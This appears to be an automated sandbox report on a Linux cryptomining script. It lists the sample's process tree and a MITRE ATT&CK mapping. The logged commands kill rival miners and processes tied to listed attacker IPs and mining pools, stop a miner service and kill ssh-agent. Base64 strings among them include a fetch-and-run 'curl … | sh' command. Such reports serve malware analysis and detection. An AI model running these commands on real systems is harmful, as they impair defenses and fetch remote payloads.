- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1504
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1515
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1514
- /bin/grep
  grep wget
  2⤵
  PID:1513
- /bin/grep
  grep 2mr.sh
  2⤵
  PID:1512
- /bin/grep
  grep -v grep
  2⤵
  PID:1511
- /bin/ps
  ps aux
  2⤵
  PID:1510
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1521
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1520
- /bin/grep
  grep curl
  2⤵
  PID:1519
- /bin/grep
  grep 2mr.sh
  2⤵
  PID:1518
- /bin/grep
  grep -v grep
  2⤵
  PID:1517
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1516
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1527
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1526
- /bin/grep
  grep wget
  2⤵
  PID:1525
- /bin/grep
  grep cr5.sh
  2⤵
  PID:1524
- /bin/grep
  grep -v grep
  2⤵
  PID:1523
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1522
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1533
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1532
- /bin/grep
  grep curl
  2⤵
  PID:1531
- /bin/grep
  grep cr5.sh
  2⤵
  PID:1530
- /bin/grep
  grep -v grep
  2⤵
  PID:1529
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1528
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1539
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1538
- /bin/grep
  grep wget
  2⤵
  PID:1537
- /bin/grep
  grep logo9.jpg
  2⤵
  PID:1536
- /bin/grep
  grep -v grep
  2⤵
  PID:1535
- /bin/ps
  ps aux
  2⤵
  PID:1534
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1545
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1544
- /bin/grep
  grep curl
  2⤵
  PID:1543
- /bin/grep
  grep logo9.jpg
  2⤵
  PID:1542
- /bin/grep
  grep -v grep
  2⤵
  PID:1541
- /bin/ps
  ps aux
  2⤵
  PID:1540
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1550
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1549
- /bin/grep
  grep j2.conf
  2⤵
  PID:1548
- /bin/grep
  grep -v grep
  2⤵
  PID:1547
- /bin/ps
  ps aux
  2⤵
  PID:1546
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1556
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1555
- /bin/grep
  grep wget
  2⤵
  PID:1554
- /bin/grep
  grep luk-cpu
  2⤵
  PID:1553
- /bin/grep
  grep -v grep
  2⤵
  PID:1552
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1551
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1562
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1561
- /bin/grep
  grep curl
  2⤵
  PID:1560
- /bin/grep
  grep luk-cpu
  2⤵
  PID:1559
- /bin/grep
  grep -v grep
  2⤵
  PID:1558
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1557
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1568
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1567
- /bin/grep
  grep wget
  2⤵
  PID:1566
- /bin/grep
  grep ficov
  2⤵
  PID:1565
- /bin/grep
  grep -v grep
  2⤵
  PID:1564
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1563
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1574
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1573
- /bin/grep
  grep curl
  2⤵
  PID:1572
- /bin/grep
  grep ficov
  2⤵
  PID:1571
- /bin/grep
  grep -v grep
  2⤵
  PID:1570
- /bin/ps
  ps aux
  2⤵
  PID:1569
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1580
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1579
- /bin/grep
  grep wget
  2⤵
  PID:1578
- /bin/grep
  grep he.sh
  2⤵
  PID:1577
- /bin/grep
  grep -v grep
  2⤵
  PID:1576
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1575
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1586
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1585
- /bin/grep
  grep curl
  2⤵
  PID:1584
- /bin/grep
  grep he.sh
  2⤵
  PID:1583
- /bin/grep
  grep -v grep
  2⤵
  PID:1582
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1581
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1592
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1591
- /bin/grep
  grep wget
  2⤵
  PID:1590
- /bin/grep
  grep miner.sh
  2⤵
  PID:1589
- /bin/grep
  grep -v grep
  2⤵
  PID:1588
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1587
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1598
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1597
- /bin/grep
  grep curl
  2⤵
  PID:1596
- /bin/grep
  grep miner.sh
  2⤵
  PID:1595
- /bin/grep
  grep -v grep
  2⤵
  PID:1594
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1593
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1604
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1603
- /bin/grep
  grep wget
  2⤵
  PID:1602
- /bin/grep
  grep nullcrew
  2⤵
  PID:1601
- /bin/grep
  grep -v grep
  2⤵
  PID:1600
- /bin/ps
  ps aux
  2⤵
  PID:1599
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1610
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1609
- /bin/grep
  grep curl
  2⤵
  PID:1608
- /bin/grep
  grep nullcrew
  2⤵
  PID:1607
- /bin/grep
  grep -v grep
  2⤵
  PID:1606
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1605
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1615
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1614
- /bin/grep
  grep 107.174.47.156
  2⤵
  PID:1613
- /bin/grep
  grep -v grep
  2⤵
  PID:1612
- /bin/ps
  ps aux
  2⤵
  PID:1611
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1620
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1619
- /bin/grep
  grep 83.220.169.247
  2⤵
  PID:1618
- /bin/grep
  grep -v grep
  2⤵
  PID:1617
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1616
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1625
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1624
- /bin/grep
  grep 51.38.203.146
  2⤵
  PID:1623
- /bin/grep
  grep -v grep
  2⤵
  PID:1622
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1621
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1630
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1629
- /bin/grep
  grep 144.217.45.45
  2⤵
  PID:1628
- /bin/grep
  grep -v grep
  2⤵
  PID:1627
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1626
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1635
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1634
- /bin/grep
  grep 107.174.47.181
  2⤵
  PID:1633
- /bin/grep
  grep -v grep
  2⤵
  PID:1632
- /bin/ps
  ps aux
  2⤵
  PID:1631
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1640
- /bin/grep
  grep 176.31.6.16
  2⤵
  PID:1638
- /bin/grep
  grep -v grep
  2⤵
  PID:1637
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1636
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1639
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1645
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1644
- /bin/grep
  grep mine.moneropool.com
  2⤵
  PID:1643
- /bin/grep
  grep -v grep
  2⤵
  PID:1642
- /bin/ps
  ps auxf
  2⤵
  PID:1641
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1650
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1649
- /bin/grep
  grep pool.t00ls.ru
  2⤵
  PID:1648
- /bin/grep
  grep -v grep
  2⤵
  PID:1647
- /bin/ps
  ps auxf
  2⤵
  PID:1646
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1655
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1654
- /bin/grep
  grep xmr.crypto-pool.fr:8080
  2⤵
  PID:1653
- /bin/grep
  grep -v grep
  2⤵
  PID:1652
- /bin/ps
  ps auxf
  2⤵
  - Reads runtime system information
  PID:1651
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1660
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1659
- /bin/grep
  grep xmr.crypto-pool.fr:3333
  2⤵
  PID:1658
- /bin/grep
  grep -v grep
  2⤵
  PID:1657
- /bin/ps
  ps auxf
  2⤵
  PID:1656
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1665
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1664
- /bin/grep
  grep "[email protected]"
  2⤵
  PID:1663
- /bin/grep
  grep -v grep
  2⤵
  PID:1662
- /bin/ps
  ps auxf
  2⤵
  PID:1661
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1670
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1669
- /bin/grep
  grep monerohash.com
  2⤵
  PID:1668
- /bin/grep
  grep -v grep
  2⤵
  PID:1667
- /bin/ps
  ps auxf
  2⤵
  - Reads CPU attributes
  PID:1666
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1675
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1674
- /bin/grep
  grep /tmp/a7b104c270
  2⤵
  PID:1673
- /bin/grep
  grep -v grep
  2⤵
  PID:1672
- /bin/ps
  ps auxf
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1671
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1680
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1679
- /bin/grep
  grep xmr.crypto-pool.fr:6666
  2⤵
  PID:1678
- /bin/grep
  grep -v grep
  2⤵
  PID:1677
- /bin/ps
  ps auxf
  2⤵
  PID:1676
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1685
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1684
- /bin/grep
  grep xmr.crypto-pool.fr:7777
  2⤵
  PID:1683
- /bin/grep
  grep -v grep
  2⤵
  PID:1682
- /bin/ps
  ps auxf
  2⤵
  PID:1681
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1690
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1689
- /bin/grep
  grep xmr.crypto-pool.fr:443
  2⤵
  PID:1688
- /bin/grep
  grep -v grep
  2⤵
  PID:1687
- /bin/ps
  ps auxf
  2⤵
  PID:1686
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1695
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1694
- /bin/grep
  grep stratum.f2pool.com:8888
  2⤵
  PID:1693
- /bin/grep
  grep -v grep
  2⤵
  PID:1692
- /bin/ps
  ps auxf
  2⤵
  PID:1691
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1700
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1699
- /bin/grep
  grep xmrpool.eu
  2⤵
  PID:1698
- /bin/grep
  grep -v grep
  2⤵
  PID:1697
- /bin/ps
  ps auxf
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1696
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1704
- - /usr/local/sbin/kill
    kill -9 1702
    3⤵
    PID:1705
- - /usr/local/bin/kill
    kill -9 1702
    3⤵
    PID:1705
- - /usr/sbin/kill
    kill -9 1702
    3⤵
    PID:1705
- - /usr/bin/kill
    kill -9 1702
    3⤵
    PID:1705
- - /sbin/kill
    kill -9 1702
    3⤵
    PID:1705
- - /bin/kill
    kill -9 1702
    3⤵
    - Reads CPU attributes
    PID:1705
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1703
- /bin/grep
  grep xiaoyao
  2⤵
  PID:1702
- /bin/ps
  ps auxf
  2⤵
  - Reads runtime system information
  PID:1701
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1709
- - /usr/local/sbin/kill
    kill -9 1707
    3⤵
    PID:1710
- - /usr/local/bin/kill
    kill -9 1707
    3⤵
    PID:1710
- - /usr/sbin/kill
    kill -9 1707
    3⤵
    PID:1710
- - /usr/bin/kill
    kill -9 1707
    3⤵
    PID:1710
- - /sbin/kill
    kill -9 1707
    3⤵
    PID:1710
- - /bin/kill
    kill -9 1707
    3⤵
    PID:1710
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1708
- /bin/grep
  grep xiaoxue
  2⤵
  PID:1707
- /bin/ps
  ps auxf
  2⤵
  PID:1706
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1716
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:1715
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1714
- /bin/grep
  grep "ESTABLISHED\\|SYN_SENT"
  2⤵
  PID:1713
- /bin/grep
  grep 46.243.253.15
  2⤵
  PID:1712
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1722
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:1721
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1720
- /bin/grep
  grep "ESTABLISHED\\|SYN_SENT"
  2⤵
  PID:1719
- /bin/grep
  grep 176.31.6.16
  2⤵
  PID:1718
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1728
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:1727
- /bin/grep
  grep "ESTABLISHED\\|SYN_SENT"
  2⤵
  PID:1725
- /bin/grep
  grep 108.174.197.76
  2⤵
  PID:1724
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1726
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1734
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:1733
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1732
- /bin/grep
  grep "ESTABLISHED\\|SYN_SENT"
  2⤵
  PID:1731
- /bin/grep
  grep 192.236.161.6
  2⤵
  PID:1730
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1740
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:1739
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1738
- /bin/grep
  grep "ESTABLISHED\\|SYN_SENT"
  2⤵
  PID:1737
- /bin/grep
  grep 88.99.242.92
  2⤵
  PID:1736
- /bin/systemctl
  systemctl stop c3pool_miner.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:1741
- /usr/bin/pkill
  pkill -f pastebin
  2⤵
  PID:1742
- /usr/bin/pkill
  pkill -f ssh-agent
  2⤵
  PID:1743
- /usr/bin/pkill
  pkill -f 185.193.127.115
  2⤵
  PID:1744
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1746
- /usr/bin/pgrep
  pgrep -f monerohash
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1745
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1748
- /usr/bin/pgrep
  pgrep -f L2Jpbi9iYXN
  2⤵
  PID:1747
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1750
- /usr/bin/pgrep
  pgrep -f xzpauectgr
  2⤵
  - Reads CPU attributes
  PID:1749
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1752
- /usr/bin/pgrep
  pgrep -f slxfbkmxtd
  2⤵
  - Reads runtime system information
  PID:1751
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1754
- /usr/bin/pgrep
  pgrep -f mixtape
  2⤵
  PID:1753
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1756
- /usr/bin/pgrep
  pgrep -f addnj
  2⤵
  PID:1755
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1758
- /usr/bin/pgrep
  pgrep -f 200.68.17.196
  2⤵
  - Reads CPU attributes
  PID:1757
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1760
- /usr/bin/pgrep
  pgrep -f IyEvYmluL3NoCgpzUG
  2⤵
  PID:1759
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1762
- /usr/bin/pgrep
  pgrep -f KHdnZXQgLXFPLSBodHRw
  2⤵
  PID:1761
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1764
- /usr/bin/pgrep
  pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3
  2⤵
  - Reads runtime system information
  PID:1763
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1766
- /usr/bin/pgrep
  pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo
  2⤵
  - Reads runtime system information
  PID:1765
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1768
- /usr/bin/pgrep
  pgrep -f mwyumwdbpq.conf
  2⤵
  - Reads runtime system information
  PID:1767
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1770
- /usr/bin/pgrep
  pgrep -f honvbsasbf.conf
  2⤵
  - Reads CPU attributes
  PID:1769
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1772
- /usr/bin/pgrep
  pgrep -f mqdsflm.cf
  2⤵
  - Reads CPU attributes
  PID:1771
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1774
- /usr/bin/pgrep
  pgrep -f stratum
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1773
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1776
- /usr/bin/pgrep
  pgrep -f lower.sh
  2⤵
  PID:1775
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1778
- /usr/bin/pgrep
  pgrep -f ./ppp
  2⤵
  PID:1777
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1780
- /usr/bin/pgrep
  pgrep -f cryptonight
  2⤵
  PID:1779
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1782
- /usr/bin/pgrep
  pgrep -f ./seervceaess
  2⤵
  PID:1781
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1784
- /usr/bin/pgrep
  pgrep -f ./servceaess
  2⤵
  PID:1783
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1786
- /usr/bin/pgrep
  pgrep -f ./servceas
  2⤵
  PID:1785
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1788
- /usr/bin/pgrep
  pgrep -f ./servcesa
  2⤵
  PID:1787
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1790
- /usr/bin/pgrep
  pgrep -f ./vsp
  2⤵
  - Reads CPU attributes
  PID:1789
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1792
- /usr/bin/pgrep
  pgrep -f ./jvs
  2⤵
  PID:1791
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1794
- /usr/bin/pgrep
  pgrep -f ./pvv
  2⤵
  PID:1793
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1796
- /usr/bin/pgrep
  pgrep -f ./vpp
  2⤵
  - Reads runtime system information
  PID:1795
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1798
- /usr/bin/pgrep
  pgrep -f ./pces
  2⤵
  PID:1797
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1800
- /usr/bin/pgrep
  pgrep -f ./rspce
  2⤵
  PID:1799
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1802
- /usr/bin/pgrep
  pgrep -f ./haveged
  2⤵
  - Reads CPU attributes
  PID:1801
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1804
- /usr/bin/pgrep
  pgrep -f ./jiba
  2⤵
  PID:1803
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1806
- /usr/bin/pgrep
  pgrep -f ./watchbog
  2⤵
  PID:1805
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1808
- /usr/bin/pgrep
  pgrep -f ./A7mA5gb
  2⤵
  - Reads runtime system information
  PID:1807
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1810
- /usr/bin/pgrep
  pgrep -f kacpi_svc
  2⤵
  PID:1809
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1812
- /usr/bin/pgrep
  pgrep -f kswap_svc
  2⤵
  PID:1811
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1814
- /usr/bin/pgrep
  pgrep -f kauditd_svc
  2⤵
  - Reads runtime system information
  PID:1813
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1816
- /usr/bin/pgrep
  pgrep -f kpsmoused_svc
  2⤵
  PID:1815
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1818
- /usr/bin/pgrep
  pgrep -f kseriod_svc
  2⤵
  - Reads CPU attributes
  PID:1817
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1820
- /usr/bin/pgrep
  pgrep -f kthreadd_svc
  2⤵
  PID:1819
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1822
- /usr/bin/pgrep
  pgrep -f ksoftirqd_svc
  2⤵
  - Reads CPU attributes
  PID:1821
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1824
- /usr/bin/pgrep
  pgrep -f kintegrityd_svc
  2⤵
  - Reads CPU attributes
  PID:1823
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1826
- /usr/bin/pgrep
  pgrep -f jawa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1825
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1828
- /usr/bin/pgrep
  pgrep -f oracle.jpg
  2⤵
  PID:1827
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1830
- /usr/bin/pgrep
  pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN
  2⤵
  PID:1829
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1832
- /usr/bin/pgrep
  pgrep -f 188.209.49.54
  2⤵
  PID:1831
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1834
- /usr/bin/pgrep
  pgrep -f 181.214.87.241
  2⤵
  PID:1833
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1836
- /usr/bin/pgrep
  pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ
  2⤵
  PID:1835
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1838
- /usr/bin/pgrep
  pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj
  2⤵
  PID:1837
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1840
- /usr/bin/pgrep
  pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK
  2⤵
  PID:1839
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1842
- /usr/bin/pgrep
  pgrep -f servim
  2⤵
  PID:1841
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1844
- /usr/bin/pgrep
  pgrep -f kblockd_svc
  2⤵
  - Reads runtime system information
  PID:1843
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1846
- /usr/bin/pgrep
  pgrep -f native_svc
  2⤵
  - Reads runtime system information
  PID:1845
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1848
- /usr/bin/pgrep
  pgrep -f ynn
  2⤵
  PID:1847
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1850
- /usr/bin/pgrep
  pgrep -f 65ccEJ7
  2⤵
  - Reads CPU attributes
  PID:1849
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1852
- /usr/bin/pgrep
  pgrep -f jmxx
  2⤵
  - Reads runtime system information
  PID:1851
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1854
- /usr/bin/pgrep
  pgrep -f 2Ne80nA
  2⤵
  PID:1853
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1856
- /usr/bin/pgrep
  pgrep -f sysstats
  2⤵
  - Reads CPU attributes
  PID:1855
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1858
- /usr/bin/pgrep
  pgrep -f systemxlv
  2⤵
  PID:1857
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1860
- /usr/bin/pgrep
  pgrep -f watchbog
  2⤵
  PID:1859
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1862
- /usr/bin/pgrep
  pgrep -f OIcJi1m
  2⤵
  PID:1861
- /usr/bin/pkill
  pkill -f biosetjenkins
  2⤵
  PID:1863
- /usr/bin/pkill
  pkill -f Loopback
  2⤵
  PID:1864
- /usr/bin/pkill
  pkill -f apaceha
  2⤵
  PID:1865
- /usr/bin/pkill
  pkill -f cryptonight
  2⤵
  PID:1866
- /usr/bin/pkill
  pkill -f stratum
  2⤵
  PID:1867
- /usr/bin/pkill
  pkill -f mixnerdx
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1868
- /usr/bin/pkill
  pkill -f performedl
  2⤵
  - Reads CPU attributes
  PID:1869
- /usr/bin/pkill
  pkill -f JnKihGjn
  2⤵
  PID:1870

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/log_rot

Filesize
5B
